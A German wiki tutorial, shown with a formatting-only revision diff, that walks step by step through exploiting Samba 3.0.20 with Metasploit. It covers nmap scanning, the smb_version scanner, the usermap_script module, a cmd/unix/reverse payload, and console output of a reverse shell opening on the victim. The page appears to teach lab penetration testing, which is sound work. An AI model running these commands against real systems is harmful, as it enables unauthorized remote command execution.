Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 37: Zeile 37:
  
  
=Laden das Modul==
+
=Laden das Modul=
 
*use exploit/multi/samba/usermap_script
 
*use exploit/multi/samba/usermap_script
*Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
+
;Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
*Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
+
;Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
  
 
=Konfiguration des Samba Modules=
 
=Konfiguration des Samba Modules=

Version vom 30. Juni 2021, 15:42 Uhr

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

  • map -sV 10.0.10.105 -p 445
...
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden.
Deshalb wird ein Modul von Metasploit benötigt.

msfconsole starten

  • msfconsole
Ab hier geht es in der msfconsole weiter
  • msf6 > use auxiliary/scanner/smb/smb_version
Nun wird noch die RHOSTS (Die IP des Opfers) benötigt
  • msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
Durch den Befehl show options werden die momentanen Einstellung gezeigt
  • msf6 auxiliary(scanner/smb/smb_version) > show options
Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
  • msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.105:445       -   Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden
  • search Samba 3.0.20
Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script


Laden das Modul

  • use exploit/multi/samba/usermap_script
Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

  • Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

msf5 exploit(multi/samba/usermap_script) > set RHOST 10.82.1.101
RHOST => 10.82.1.101

PAYLOAD

msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
  • Mit show options kann die momentane Konfiguration
msf5 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse):
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LHOST  10.82.10.99      yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port


  • Jetzt den Befehl exploit absetzen und man hat Zugriff auf das Opfer
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.82.10.99:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mH5y7FbXzHZhu0dC;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "mH5y7FbXzHZhu0dC\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (10.82.10.99:4444 -> 10.82.1.101:44347) at 2020-11-02 15:35:17 +0100


  • Es können Befehle wie pwd, cd , hostname usw.. genutzt werden